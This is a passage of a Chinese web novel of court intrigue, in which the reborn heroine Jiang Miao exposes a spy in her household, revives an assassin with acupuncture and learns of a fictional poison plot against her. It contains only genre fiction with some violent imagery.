江渺突然改变了主意,等着江灵儿再开口后,假意推脱一番,又不动声色示意阿洛将项链收起来。
“小姐,就是这丫头一直在给涵清阁通风报信。”阿洛忿忿将人捆着,押到江渺面前。
她方才送灵儿小姐回去后,便听从小姐的吩咐一直在暗中观察涵清阁往来的人员,盯着盯着还真让她看到了落霞鬼鬼祟祟的进了江璟儿的院子。
等她出来,阿洛不由分说带着人便将她捆了起来。
“暗香斋居然有你这么个吃里扒外的东西!说,你去涵清阁干什么?”
阿洛一喝,落霞哆哆嗦嗦地狡辩:“奴婢,奴婢只是去涵清阁找柳儿,嗯,找柳儿还之前借的针线……。”
“针线?”江渺缓缓放下手中的茶盏,轻轻颔首看向她:“我竟不知道暗香斋的丫头居然连针线都用不上了?还需要偷偷摸摸的还?”
她一直在想为何原主之前总是能恰到好处的遇上麻烦,而江璟儿姐妹又能适时出现?包括那串项链也是,前世便是江渺听了丫鬟婆子们嚼舌根才想起来去找江璟儿讨要。
果不其然是自己的院子里出了内鬼,将她的一举一动都传递给了涵清阁那位。
落霞脸色惨白,嘴唇哆嗦着,一个劲地喊自己绝无二心。
江渺给阿洛点点头,阿洛便拿上来两个陶罐。陶罐上蒙着黑布,看不清里边,更是给人诡异的不安感。
落霞见阿洛上来,吓得连连后退,却又被身边的婆子按压得动弹不得,没有人怜惜她,连江渺也冷冷地看着她,示意阿洛将她的手按进罐子里。
一阵撕心裂肺的吼叫响彻暗香斋。门外齐刷刷地跪着一众丫鬟,婆子,小厮,皆听着这声音冷汗直流。
其中几人明显身子不受控制瘫软下去,他们只收了点小钱,可没说干这事要命啊!
不多时便有人在这声声吼叫里熬不
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住,头重重的磕在地上,喊着:“小姐饶命!”
落霞满头大汗,眼里都是痛苦和惊骇,她也终于熬不住,放弃了抵抗。
江渺见时机成熟,便让阿洛拿走罐子,落霞的手从陶罐中拿出来,竟然分毫无损。她呆呆地看着自己的手,想不通刚才蚀骨的疼痛究竟来自哪里。
江渺笑笑,这是她精心为这些不老实的人准备的药水,就是好用。
“说吧!”
阿洛把这些人都抓起来,挨个一一审问,听得瞠目结舌。
谁能想到,一个寄居在侯府的孤女,居然能收买暗香斋一半的奴仆为她办事!她气得拍桌大骂!
因为落霞是内院伺候的人,知道的最多,倒豆子似的将自己知道的抖了一个干净。
江璟儿收买江渺院里的人,让大家做她的眼线,将江渺的一言一行全部汇报给她。而她利用各种信息引导江灵儿撺掇江渺犯错。
江渺对此倒是早有预料。她早就觉得江璟儿不简单,她自幼长在深宅,北郡都未曾踏入半步过,如何能得来蛮族特有的香料?此间定然还有蹊跷。
另外,落霞所言中有几个最关键的信息。
一是,当初阿玉这个事情是落霞将镯子塞进阿玉衣物里,再通知柳儿抓人。至于为什么选阿玉作为构陷对象,落霞只大概知道是因为阿玉长得有几分和江渺相像。
二是,江璟儿背后似乎有一个更为强大的势力在替她办事情。
三是,江璟儿好像和宫里的人有联系。
江渺当即吩咐阿洛将落霞严加看管起来,又将院里院外的丫鬟换了一批,对外只称是院子里失窃了。
阿洛心细,听着江渺的安排,不免忧心:“小姐,如此动静,只怕涵清阁那边会起疑心。还有换人的事情也需要向夫人禀报。如果被追问丢了何物,何人所偷,该如何应对?”
江渺一笑:“丢了什么?自然是璟儿姐姐送的厚礼。谁偷的?那可不就是落霞见财起意,扰了咱们院子清净!”
暗香斋的动静很快就引起了柳如云的关心。
她吩咐微云来请江渺过去主院,江渺到时,江璟儿和江伯玉正好也在柳如云的房间。
没等柳如云问起,江渺先开口将自己院子里失窃的事情添油加醋的说了一遍,当然隐藏了那些不能说的信息。
柳如云拍着床栏气愤不已,直起身子就要下令将落霞乱棍打死,被江渺及时的制止。江渺趁机提出想要自己相看丫鬟的主意,柳如云不假思索便应允了。
全程江渺看着江璟儿的反应,她只在听到落霞名字的时候微微蹙眉,其他的时候都平静无波的站在旁边,连江渺都不由的感慨江璟儿的心理素质真的强。
既然目的达到,江渺便打算亲自去一趟外院。昨夜从提灯节带回来的女子被安排在那里休息,江渺要去看一看。
正欲与柳如云行礼告退,一直沉默地江璟儿突然从旁走到前来,跪地泫然欲泣:“婶母,请恕璟儿唐突。本来璟儿并不想说这事引得婶母烦心,但方才听闻渺儿妹妹院里失窃。璟儿前几日清点在库时
发现亡母留下的一对缠丝金花发簪也不翼而飞了。本也不是什么值钱的东西,可如今柳家人不日便要抵达昌都,这个时候府里出了这等事情,万一影响侯府名声……。”
江璟儿头垂下一磕,语气诚恳:“渺妹妹院里刚拿了贼人,璟儿想,这府里怕是不干净。偏院那边一向少人打理,最易藏污纳垢。恳请婶母下令,彻查各院,也好让姐妹们安心!”
柳如云想想也是。
18.影魅
虽然来的是二房家的嫂嫂和侄儿,但府里闹了贼,传回阳原难免会被族里诟病她这个主母治家不严。
自从父亲和哥哥去了,多少人盯着她这个长阳侯府主母的位置,她不能给他们留下什么话柄。
“璟儿说的是。侯爷觉得呢?”柳如云抬手让江璟儿起来,又侧头看了眼江伯玉。
江伯玉点点头:“过几日宫里会派一位嬷嬷来教习礼仪,若是到时再闹出什么来冲撞了嬷嬷,传回宫中恐怕会受到佳贵妃的责骂。渺儿的婚事不能因为这些个奴才受到影响!”
说到江渺的婚事,柳如云立刻下令要去搜查偏院。
江渺瞪了一眼脸上挂着得逞微笑江璟儿,突然开口劝道:“母亲!不可!”
“有何不可?”江伯玉不解,先开口反问。
“回父亲。本来女儿是想给母亲一个惊喜。几日前女儿求来一道偏方,说是养胎安神有奇效。只是这药丸有些忌讳,必须要在偏院这种人少通风之处炼制。所以女儿在偏院设置了药鼎,如今正是关键时期,若是贸然搜查破坏了炼制,女儿……。”
江渺学着江璟儿委屈的样子,眼泪悬而未滴,看得让人心疼。
江伯玉一听,恍惚想起那日江渺提着箱子神色匆匆去后院,想来也是为了炼制安神药?
女儿如此懂事,他还斥责她?
顿时心中多了几分愧疚,正要开口,柳如云先起来将江渺拉过去,温柔道:“我的渺儿,你那儿会这些啊?炼制丹药辛苦,难怪母亲看你瘦了……。”
被偏爱的总是有恃无恐,柳如云一听江渺为了她做这些,气消了,人精神了,搜查的事也抛在脑后了,只是一味的拉着女儿,感动得一塌糊涂。
江渺头靠在母亲的臂弯,透过胳膊看江璟儿。
她盯着她,目光复杂。
江渺看得见她捏紧的拳头,半晌,又将话题拉回来:“母亲,我敢保证,为了防止制药被打扰,我将偏院围得严严实实的,定不会有贼。但……”
她话锋一转,看向江璟儿:“璟儿姐姐丢了婶母的遗物也不是一件小事。”
“母亲!千防万防家贼难防!您看我院子里的落霞就是前车之鉴,既然如此,我看现在应该把涵清阁的这些个奴才都抓起来狠狠地拷问!势必要抓到那个“贼”才是!”
闻言,江璟儿有些不可置信的看着江渺。
怎么可能?
今日她听说江渺院子里出了事,以为她又打死了哪个侍女婆子,急急来到柳如云这里准备落井下石。
柳家要来,贵妃要结亲,江家夫妇定不会轻易的饶过在这个时候闯祸的江渺,定要将她禁足反省才是。
等到宫中嬷嬷来,她再使点小伎俩,关久了的江渺岂不是如脱缰的野马,定要闹得人仰马翻才是……。
可,竟不是她想的那样。
她听着江渺把她的人都换了,急中生智扯出了偏院的事情。她虽然不知道偏院有什么,但是以她对江渺的了解,定然不会是什么好事情。
只要让她抓到她的把柄,她定要狠狠地报江渺里间她们姐妹感情之仇!!
可……。
事情的发展怎么和想象中不太一样?
江璟儿整个身形不可控制的抖动了一下,她终于意识到江渺已经不是从前那个任她随意拿捏的蠢货了……。
那她院子里的人,经得住查吗?
“婶母!”
江璟儿噗通一声再次跪下,这次眼泪是真心急出来:“万万不可啊!涵清阁的下人都是璟儿入府时婶母亲自挑选安排的,若是都抓起来拷问,传出去,旁人岂不议论婶母识人不明?”
她哭着,如同受伤的小鹿令人心疼,说得字字在理:“璟儿,璟儿丢失母亲遗物固然心痛,但更不能因一己之私,损了婶母和侯府的清誉啊!”
柳如云果然犹豫了。
江伯玉见她为难的样子,直接开口道:“既如此,涵清阁的下人便不必公开拷问。如暗香斋一般关起来查吧,定要把那贼人抓住!”
江渺想要拒绝,但江璟儿抢先一步上前跪谢:“谢叔父,婶母。璟儿定然将此事办好,定不让那些贼人逍遥法外!”
江伯玉同意,柳如云也没反对,江渺便也不再说什么,对付江璟儿江渺有胜算,重要的还是要摸清楚她身后的势力才行。
先放她一马!
从主院出来以后,江渺径直去了外院。本来因着提灯节的事情,江伯玉让大家最近都不要外出,江渺还在想用什么借口求他放她出门。
江璟儿闹了这么一出,反倒让江渺抓住了机会,借着去牙行的由头,转身去了小巷子。
她先去荣华堂买了几件新衣裳,又去糕点铺买了些吃食。
花了多少钱?不知道!
反正全部记在侯府头上。
有钱有闲的日子可真是太好了!可惜这样的好生活并不属于她江渺。也难怪原主会得知林清月还活着的时候会那么崩溃,干出那些个疯狂的事情。
想了一想,心里不由地打定主意,等林清月回府以后,她自己也要建立自己的商业帝国,把上一辈子没享受过的福气都享受一遍!
毕竟,靠山山会倒,靠人人会跑。
靠自己才是硬道理!
在阿洛的引领下,她们来到一个小巷深处的僻静院落。
一开门,便瞧见昨日从桥下救回的女子正坐在树下仰头望着天空,嘀嘀咕咕地念叨着无人能懂的呓语。
照看她的婆子说,女子从来到这个院子就一直是这个样子,不哭不闹,也不理人。自顾自地对着天空说话,能吃能喝,就是不能听懂,像是脑子不清楚。
江渺挥手让婆子下去,只留下阿洛一人在旁伺候。她打开带来的药箱,照常先给女子把脉,却发觉她脉象沉稳有力,如同滔滔江水,倒不似这个年纪女子应有的脉象。
疑惑中,江渺对其进行了全身的检查,发现女子手上多处长着深厚的老茧,身上也有不同程度的伤疤。
原来是个习武之人。江渺虽然没有练过武,但是她身上的特征,江渺在南宫煜的身上看到过。
那天晚上在藏书阁,南宫煜带着她躲避那呼啸而过的短箭时,江渺就知道南宫煜应该是一个武功高手。
眼前的女子,应该也是一个练家子。
她一边思索着,一边对她进行体格检查,就在触及到她腰间的时候,一块玉佩从她的身上掉落下来。
江渺低头一看,顿时浑身的血液都凝滞在了一起。
她……,居然是陵王的人。
这块玉佩江渺认得,那是她梦里反复出现的一个画面,四四方方的水牢,爬满了蛆虫和老鼠。
原主被挂在十字木桩上,陵王的脸在瞳孔里放大又模糊,最后变成一片猩红。
那时,不顾哀嚎砍断原主四肢,将她丢弃在水牢角落的人,就佩戴着这样的玉佩。
他们是陵王府的杀手。
江渺的目光再次落在女子满是泥泞,却略显稚嫩的脸庞上,如芒在背。
妈呀,她捡了一个什么人回来?
杀手!还是原主的仇人家的!
她可真会捡!<
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“小姐,您没事吧!”阿洛见江渺一瞬失神,身形有些不稳,赶忙扶住她。
被她这么一拉,江渺瞬间清醒过来。
对呀,她怕什么?现在她和陵王还不是仇人,论算起来她还是他的相亲对象,一切都没发生,她不会死!
深吸一口气,江渺想起了一些她本想忘记的画面。
那时,她还是鬼,陪原主在暗无天日的牢房里发呆时听狱卒们讨论过。
陵王府除了自己的府兵外,还私下培植了两股力量。
其一,是昨日江渺在酒楼所见的暗卫。转司保护陵王安全,执行机密任务。身上佩戴专有令牌,常人不能识别出来。
其二,则是更阴狠诡谲的杀手,统称影魅。这些杀手并非由陵王府直接培养,而来自江湖上的一个神秘组织。他们与陵王府直接签订契约,从各地搜罗根骨奇佳的幼童,或是无家可归的孤儿,将其从小送入秘密之地进行残酷训练。
这些孩子被抹去过去,在血腥与厮杀中长大,所学唯有忠诚与杀戮,是真正的冷血兵器。
而其中姿色上乘的女子,则会被单独编例。她们不仅要精通各种刺杀技巧,还会研习歌舞才艺,诗书礼仪,乃至床第技巧,魅惑人心。
这群女子既能作为精心准备的厚礼,赠予朝堂重臣、边防将领,于枕席之间探听机密、施加影响。
也能在必要时,化身为艳色利刃,于觥筹交错间,或是芙蓉帐暖里,悄无声息地取人性命。
江渺对这种行为嗤之以鼻。
男子争朝堂无可厚非,却要女子以清白为饵,色相为刃,行此为人所不齿的伎俩。江渺更添几分对陵王其人的鄙夷。
一想到原主竟然对这样的人死心塌地,如痴如狂,要不是她是鬼,她真想给她两棒子。
不过,被陵王千刀万剐,她应该也很后悔怎么爱上了这样一个人吧。
江渺叹口气,又想起狱卒说过,王府水牢深处也关押着一群不听话的影魅。其中有个女子最为凄惨,日日饱受酷刑却不肯吐露帮着逃跑的妹妹的下落。
江渺曾偷偷飘过去看过这女子,胳膊以下的皮肉皆被细密的铁刷一遍遍刷去,露出森森白骨。十指被寸寸折断,又用盐水日日浸泡。纵使如此,女子也未曾哀嚎半声。
她整个人被挂在黑暗里,江渺看不清她的容颜。纵使她见过太多的皮开肉绽,血肉翻飞,眼前的一幕还是让她心惊不已。她是由衷的佩服这个女子。
可惜她什么也做不了。
后来,原主被折磨得生不如死,日日夜夜哀嚎声,怒骂声在水牢里回荡。有个魅影不堪其扰,抬手割掉了她的舌头。
江渺觉得太过残忍,又飘到那个女子身旁,正看到一人提着一个头颅给那女子看了一眼。女子染血的脸立刻露出狰狞的笑,头一歪,竟气绝而亡。
一个想法突然从脑海里一闪而过。
莫非……。
江渺定了定神,再次打量起眼前的女子,虽然稚嫩,眉眼之间已是绝色。
赌一把吧!搏一搏,单车变摩托!
“阿洛,准备银针。”女子在阿洛的帮助下被梳洗干净,江渺也趁此机会再次为她做了一次全身检查。发现身上除了一些伤痕伤疤外,并无其他的致命伤。
但是为何会变得痴痴傻傻的,想来应该还是脑部的问题。可她这情况又不似丹桂,丹桂有外伤,而女子却没有。
既无外伤,却神智尽失,言语混沌,细想后,江渺推测她应该是短时间内受到了一定的超出承受极限的精神刺激而导致的离魂症。
19.安乐
江渺有一段时间去精神科学习的时候曾经遇到过几个这样遭遇重大变故而出现分离性障碍病人,这女子表现出来的症状倒是与之颇为相似。
想到这里,江渺心中有了打算。她伸手接过阿洛递过来的银针,说道:“她这病症,源于心神受创,非药石可医。或可尝试金针度穴,刺激闭塞的神识,或许有奇效。只是,这个方法颇为凶险,若是心神不坚,恐怕会引发急症……。”
她顿了顿,指着旁边的药箱:“以防万一,你把中层的琉璃瓶中的药丸碾碎,然后准备点干净的帕子和水。”
阿洛按照吩咐一一备好物品,虽然很相信小姐的医术,但心中还是不免有些担心。
江渺看她脸上的忧心之色,轻言道:“但观其骨相和神色,应该不是意志薄弱之辈。”
嗯。能从陵王的府里活着出来的,怎会是等闲之辈?
她坚定地答道:“值得一搏!”
说着,她将银针细细过火后,对准穴位入针。初时并未有所反应,直到银针探入脑后风府穴,江渺察觉手下的人身形猛地一颤,双眼紧闭,如同被惊雷劈中。
转眼双手不受控制的向前做出砍杀动作,整个人剧烈颤动,犹如看到什么令人惊惧的画面,瞬间冷汗淋漓。
阿洛登时上前稳稳抱住女子,江渺趁机取过另一根银针刺入头顶百会穴。片针入三分刹那,女子身形骤然停止抖动,整个人如同一叶扁舟软踏踏地倒在了阿洛怀中。
“小姐……这……。”阿洛忧心忡忡。
江渺并未答话,专注地又将银针刺入神庭等穴位,一息过后,她将银针缓缓拔出,就在最后一根银针完全脱离的瞬间,那双紧闭的双眼,猛地睁开了眼睛。
“小姐,她醒了!”阿洛欣喜地看向江渺。
谁知下一秒,怀中女子蓦地挣开她的怀抱,泛红的眼眸溢出肃杀之气,仿若置身地狱的修罗,不管不顾伸手直劈向离她最近的江渺。
“小心!”阿洛根本来不及反应,只能惊呼出声。
江渺却如同早有预料一般,一个闪身避开女子的攻击。又是回身猛地钳制住女子的双手,语气快速地在她耳边喊道:“看着我!你已经逃出来了!”
女子如遭雷击,身形一顿。江渺手疾眼快地将一根银针刺入女子手臂内侧的安神穴。凌厉的攻势瞬间被瓦解,眼中的嗜血逐渐褪去,神识变得清明。
“你们是谁?!”
女子如同受惊的小鹿一般,戒备地看着眼前的主仆二人。
阿洛下意识地闪身到江渺面前,将她护在身后。
“阿洛,没事。”江渺轻轻推开阿洛,眼睛直视面前受惊的女子,温声问道:“你叫什么名字?”
可是显然女子并不信任她,只是警惕地向后退了一步,身子靠在了墙上动弹不得。
江渺也不勉强,带着阿洛向后挪了挪,给出了她一方安全的位置。
随后将怎么遇到她,又怎么救她的经过说了一遍,见她依旧有些戒备,便告诉她此处是她的地盘,她不会有危险。又将为她买来的衣物和吃食放在门边,嘱咐了几句,就同阿洛离开了外院。
江渺回府后,听闻江璟儿带着江灵儿正在主院回话。
阿洛问她要不要过去,江渺摇摇头,就是用脚趾头去想,江渺也知道江璟儿十有八九把江灵儿推出来当刀了。此刻过去,无非是看一场江灵儿哭诉自己贪玩拿了母亲遗物,江璟儿在旁扮演姐妹情深的戏码,平白惹人心烦。
看江璟儿唱戏,哪儿有吃望月楼的糕点快乐。
如今将江璟儿安插在身边的眼线连根拔出,江渺只觉得心中快活,跟着阿洛两人细细品尝吃食。
正高兴,突然江伯玉身边的长随来通传说老爷请小姐即刻前往前厅一趟。
江渺疑惑,此刻天色已晚,江伯玉找她做什么?莫不是江璟儿那边又有什么说辞引得父亲不得不传唤她?
按下心头的疑惑,江渺跟着小厮来到花厅。
刚一踏进厅门,她便觉得气氛不对。
尤其在看到上位坐着的人时,她微微怔了一下。
江渺面色一滞,很快反应过来,给两人行礼:“臣女见过睿王殿下,女儿见过父亲。”
南宫煜一身墨色常服,闲坐于上首。目光沉静地看着江渺。
【他来做什么?】
江渺刚想着,就听南宫煜道:“那日撞到江小姐后,本王就丢了一块随身的玉佩。虽不是稀罕物,但是对本王来说意义非凡。不知江小姐有没有看到过?”
【又不是我一个人在场,为什么问我一个人?】
【难道……】
江渺心思百转千回,抬头看了一眼江伯玉,只见他一脸茫然地看着南宫煜。
那日他一直都跟着他,什么时候见过什么玉佩?女儿亦不过只和睿王殿下匆匆见过一面,又怎知玉佩所在?
江伯玉也不知道南宫煜葫芦里卖的什么药,见女儿垂眸不语,便试探性开口:“殿下……。”
适时,江渺突然打断江伯玉,语气迟疑道:“啊……玉佩,对对对,臣女恍惚是见过什么玉佩,就是……就是,一时半刻想不起来了!”
“噢?是吗?那没事,我等会儿从王府派一个丫鬟过来,等江大小姐什么时候想起来了,也方便第一时间交给我的侍女。”
想了想,他又侧头看江伯玉:“侯爷应该……无异议吧?”
“啊?!啊!没有没有!”江伯玉急忙摇头,眼前之人可是威名在外的杀神,若不是陛下吩咐了要让他协同查案,他是一点也不想和这位爷来往。
“殿下安排甚是周到,小女定当努力回想,努力回想!”
江伯玉点头笑着,现在只想把这位煞神快一点送走,抬眼给江渺递了一个催促的眼色。
江渺心领神会,从善如流:“谢殿下 体恤,待臣女想起玉佩的下落,定第一时间寻回,完璧归赵。”
南宫煜轻轻嗯了一声,头也不回地走了。
江伯玉独自沉思了一会儿,也没参透今天这出戏的玄机。
总觉得是两人故意在自己面前做了一场戏,可是他没证据。
回头再见女儿神色坦然自若,不似作伪,也不便追问,只得按下心中疑虑,思付再三,还是沉声嘱咐道:“渺儿,为父还是有件事情要提醒你。你与陵王殿下的婚事,佳贵妃已然默许,等百花宴上取得陛下同意,赐婚旨意不日便会下达。”
“以前你小,或不可知。但是今后你要明白,宫中局势复杂,佳贵妃素来不喜睿王,双方……双方并非同路中人。如今你婚事将定,更当谨言慎行,切莫与睿王攀上关系,避嫌为好……。”
江伯玉所言句句属实,字字关心。虽说是爱屋及乌,但是江渺还是感受到了从未有过的关爱。
她点点头:“父亲放心,女儿定当谨记。一定和睿王殿下保持距离,不惹事生非。”
可惜啊,这个提醒江渺虽然知道,但做不到呀!!
第二日,在南宫煜的安排下,睿王府送来了一位名叫梧桐的侍女。
江渺将人安置在暗香斋内室,亲自去接见。
果然梧桐见到她便开门见山地将南宫煜交代给她的事情一一道来。
其一,与她安危相关。南宫煜告诉她画舫上那群杀手是陵王府的人。这点江渺早已知情,但重要的是刺杀江渺的几人并非是陵王所派。有人假借陵王暗杀何同甫的时机,准备浑水摸鱼,要将她也杀之而后快。
虽有心理准备,但是被告知这个消息之时,江渺还是觉得心头一颤。
这背后之人如何得知她也会出现在画舫?既要提前布局引诱她上船,又要有绝对的能力可以
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将杀招隐藏在陵王的行动之中。
思及此出,江渺已然得出答案,如此手段,除了那位对陵王痴心一片的安乐郡主,能论昌都城有几人可以知晓陵王殿下的行动,还能驱使陵王殿下手下的暗卫?
为除掉她,安乐郡主也是下了功夫了。
这个信息太有用了,江渺瞬间将那日发生的事情串联在一起,只是没想到江璟儿身后之人竟然是安乐。
她们是怎么勾连上的?
江渺在记忆中搜索一番,却没有得出有用信息,可恨原主只知谈恋爱,竟不知何时已经将自己送进了别人画好的圈套之中。
恋爱脑,太可怕!!
江渺还需要时间来整理这部分信息,强压住脑海里翻腾的思绪,她看着梧桐道:“接着说。”
梧桐点头,从怀中取出一个小包布。正是她交给阿洛带去给南宫煜帮忙查的香料。
想不到只是一夕时间就有了答案。
梧桐说:“此物并非寻常香料,乃是北郡蛮族巫医秘传的一种药石,名为陀罗息。其性极烈,香味独特,常人接触并无大碍,且有安神明目养肝之效,但……”
她顿了顿,语出惊人:“此香料有一个特性,如果接触到东荒琮山的矿物幽霜石,那陀罗息的香气便会与之发生反应,从而催生出无色无味的剧毒,能瞬间侵入心脉,令人顷刻毙命。”
江渺从未曾听说过这两种物品的名字,听梧桐说完其用途,顿觉头皮发麻。
虽然在现代,先进的科技已经可以剖析出各种天然物质的成分,但是至今也没有发现如同陀罗息和幽霜石一般的组合,顷刻之间要人性命,简直就像是为杀人而量身定制的工具。
江渺有些后怕,若是这种香料用在她身上,即使她精通医理,擅长制药,也不可能发现其中关窍,怕是早就死了千百回了。
她有些疑惑,既然他们手上有如此隐蔽的毒药,为何又要大费周章的刺杀她?
梧桐似乎看破了她的困惑,解释道:“此二物,一为北郡蛮族巫医秘藏的陀罗息,一为东荒王室珍品的幽霜石。北郡与东荒交恶百年,互不往来,此二物基本上不可能同时出现。更重要的是,毒素触发调条件也并非简单的香气想克,需提前将幽霜石精心打磨成细如牛毛的冰针,以专业手法刺入后颈穴位,一月以后再遇陀罗息之香,才能引动剧毒。因为其条件太过严苛,并不常见。”
略微一顿,她又补充道:“此法更多在世家等用于控制麾下死士等。 ”
听到此处,江渺神色微变。这么说来碧心是被某个神秘的团伙控制了?
但碧心之死是江璟儿所做,江璟儿一个孤女怎么会这种隐蔽的杀人手法?她身后站着安乐郡主,那……。
一种不好的预感在脑海里盘桓。
梧桐见她沉思,接着道:“殿下吩咐之事奴婢已经悉数传达。另外殿下命奴婢将暂时留在小姐身边听用,日后小姐若有任何消息需传递给王爷,或是有其他吩咐,尽可交代奴婢去办。”
江渺感激涕零,心中是五味杂陈。
没想到啊!没想到啊!
救他是道德心作祟,合作是被逼无奈。
虽然南宫煜两次差点要了她的命,可知她如今深陷泥沼,不仅没有作壁上观,
反而考虑到她身为女子不便与其过多接触,为了保护她,将梧桐送到了她的身边。
可惜,南宫煜久居北郡,昌都并无过多势力,所能提供她的信息有限。
即便如此,江渺还是很感恩了。他是个很好的合作伙伴。果然不愧是传说中的睿王!
她得好好治他!
江渺召来阿洛将香料在隐蔽处收好,又嘱咐其为梧桐收拾出干净的屋子来。
阿洛带着梧桐下去后,江渺按着太阳穴仔细回忆起了有关于安乐郡主的事情。
20.杀心
江渺恍惚记得做鬼的时候与那位娇纵的安乐郡主打过几次照面。
那时,秋猎场上陵王南宫澈拔得头筹,一身骑射功夫引得满场喝彩,风头无两。
原主对其一见倾心,回府就哭闹着让江伯玉去求陛下赐婚,结果被父亲痛斥为胡闹。
可原主那性子,早就被娇惯坏了,自从入府来,可从未受过如此重话,平生更是没有什么是求而不得的。
偏偏在这件事上,她像是被迷了心窍,非要较个真。
一场轰轰烈烈的追夫大戏就此上演,闹得满城风雨。
不过几日,就连路边不起眼的茶摊,任谁坐下,也免不了要带着戏谑的神情议论上几句长阳侯府千金的热闹。
江伯玉不胜其烦,加之柳如云在旁苦苦哀求,原主跪在地上哭哭啼啼。终于还是松口,豁开老脸,亲自跑了一趟玉辰宫。
好像,就是从那天开始,安乐郡主便横空出世,与原主你来我往,为了争夺陵王的些许关注,斗得死去活来。
江渺沉思,最开始,她见到的安乐,总是端着郡主的架子,眉宇间尽是鄙夷。虽然讨厌原主缠着南宫澈,但是终究只不过是言语奚落,抢夺风头。
是从何时开始,安乐开始对原主起了杀心?
对了,好像是佳贵妃的生辰宴过后,安乐看原主的眼神就不对了。
江渺对生辰宴的印象并不太深,因为原主当时全部的注意力都在南宫澈身上。
依稀记得当时南宫澈似乎并不太开心,宴会开始没有多久便独自一人离开,原主自然不会浪费这种可以接近陵王的机会。
她也瞅准时机,离开宴席,去寻找南宫澈。
可惜追出来以后,对宫中并不熟悉,很快就迷了路。情急之下还踩到了一处水坑,弄脏了衣裙。
原主跟着宫人的指引,在偏殿换了衣物回到宴会,这才得知南宫澈已经回了王府更换被打湿的衣物。
当时原主只顾着生气没有和陵王说上话,却没有注意到周遭投来的意味不明的眼神。
如今把所有的事情细细想来,江渺似乎明白了其中的关窍。
安乐并非一开始就视原主为眼中钉肉中刺,甚至有些不以为然。
毕竟,论身份,她是陛下亲封的郡主,远比长阳侯府养女来的尊贵。
论关系,她是南宫澈的亲表妹,两人自小一起长大,感情非同一般。
论美貌,她也有自信比过江渺。
况且,她一向深受佳贵妃的宠爱。
这陵王妃之位,非她莫属。
可一夕之间,一切都变了。
睿王被陛下下旨回昌都,朝堂之上暗流涌动,人心惶惶。
更让她措手不及的是,佳贵妃对原主的态度也变了,竟然主动邀请其参加生辰宴,还在无意间透露出要撮合南宫澈和原主的想法。
安乐见状,怎能不恨?!
恰好生辰宴江璟儿趁着这个机会认识了安乐,两人便结成了同盟。
之后便是针对原主的各种陷害,包括万安寺那次她被捕入狱,碧心行刺,以及画舫上的杀手也是出自于两人的杰作吧。
安乐有权有势却没有心计。
江璟儿有心计却无权无势。
两人一拍即合,可真是臭味相投!
上一世原主被陛下下旨入狱以后,安乐曾经来看过她。
她居高临下地笑她痴心妄想,飞蛾扑火。
笑她愚蠢至极,与自己斗来斗去,你死我活,却终究是为他人做嫁衣。
笑着笑着,安乐白皙的面庞滑下两行清泪,她语气悲凉,听不出是在怜悯她还是在怜惜自己,“你知道吗?陵王哥哥再过几日便会和林清月成婚了。”
回忆在脑海中戛然而止。
但江渺心中还是有疑惑,仅凭安乐一个郡主,真的能够弄到那么珍贵的陀罗息和幽霜石吗?
而且她是用了什么方法可以差使陵王府的暗卫为她所用?
就算是佳贵妃再喜欢她,按常理也不会告知她这些事情吧。
一时半会得不出结论,江渺便不再想。她决定再去一趟外院,看一看那个女子再说。
深巷小院,过分静谧。
马车刚到外院,江渺便觉得有些不同寻常。
果然一推门进去,便见照顾女子的婆子被五花大绑在树上,见到江渺来呜咽着向她求救。
婆子嘴上的布团被取出,终于松口气,急道:“小姐,那姑娘像是去救什么人去了!!”
江渺心道不好!
如果她没有猜错,这姑娘恐怕就是江渺在水牢里见过的那位魅影的妹妹!
她见到魅影时,距离如今还有一年的时间,也就是说一年后女子才被抓回水牢。
如今因为她的治疗,让她重新恢复了神识,记起了为她而被折磨的姐姐,她要去救她?
那水牢天罗地网,她身上还有伤,这不是去自投罗网,自取灭亡吗?
况且这女子一旦落入陵王手中,那么在那群人的铁血手段下,她所做的一切岂不是也会传到南宫澈耳中?
不行。她要找到这个女子!!
江渺心急如焚,急急转身要出去寻找救兵,还未踏出院门,一道玄色的身影却如同鬼魅一般闪现在自己的面前。
“江小姐。”
江渺被吓了一跳,往后退了一步,险些绊倒。看了一眼院门并未开启,忍不住怀疑自己见鬼了,再定睛一看,眼前之人正是南宫煜身边的前川。
“我家主子已经派人去追那位姑娘了。嘱咐我给小姐带句话。”
江渺定了定神道:“请讲。”
“主子说,那姑娘身份不简单,小姐最好远离。若是接触下去,恐有杀身之祸。如若小姐愿意,主子愿代小姐照顾那位姑娘。”
江渺一愣,心里暗暗惊叹,南宫煜说自己所知有限,也太过于谦虚了吧。
若不是她做过鬼,那她做梦怕都参透不出其中的奥妙。
还有……,南宫煜怎么知道她的行动的?
她一脸狐疑地打量眼前的人,问道:“你们主子派你来监视我?”
前川望天:“主子的心思和安排,我们做奴才的,不敢妄加揣测,更不敢多言。”
江渺哼了一声,闷闷道:“既如此,谢王爷好意。
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只是王爷代为照顾一个姑娘确实不方便,江渺不敢给王爷添麻烦,还烦请找到她以后将她送回来。”
她还另有打算呢。
说完,便回身去给婆子松绑。
前川不语,只是心里有点想笑。
刚才他将这里的情况传达给主子,主子立刻将三千召回来去追那位姑娘去了。看来主子很担心江小姐嘛……。
*
玉辰宫
“郡主,我们的人有消息传回来。江小姐院子里藏着的那个丫头,名叫丹桂。”
赵嬷嬷将探听到的消息一一告知安乐。
安乐越听越生气。
“好个江渺,竟敢戏耍我!”她一拳拍在桌子上,震得一屋子的丫鬟婆子瑟瑟发抖地跪了一地。
赵嬷嬷抬手让众人下去,又端杯茶给安乐,低声劝导:“郡主息怒,老奴知道您生气,可如今该如何办?若是贸然除掉江渺这个假货,让真的坐收渔翁之利,我们之前做那么多努力,岂不是功亏一篑?”
安乐烦躁地将茶盏推开,颓然地坐回椅子上。
这形势确实越发糟糕了,她平白浪费了那么多时间精力对付一个假货,竟还被对方用“狸猫换太子”摆了一道。
她想不明白,她的计划天衣无缝,究竟是哪个环节出了问题?还是她江渺本就命不该绝?!
万安寺一事已经引得姑母不悦,结果画舫上刺杀失败不说,人还被睿王给抓了。好在那些人是死士,没有吐出些什么来。
可这种种,非但没能阻止婚事,反而被还坚定了姑母要与江家结亲的心。
她怎能不生气!
“几次三番下手,都被她侥幸逃脱,要杀她恐怕已不容易。”
安乐眼中戾气又重了几分,“既如此,不如先派人去将那个真的杀了!我们再慢慢对付这个假货!”
“郡主,不可!”
赵嬷嬷连忙出声劝阻,“贵妃娘娘正让您思过,此刻再出手,若引人怀疑,后果不堪设想。此事不如交给江小姐?她与江渺是姐妹,动手更为便宜,即便事发,也可推脱是侯府内斗。”
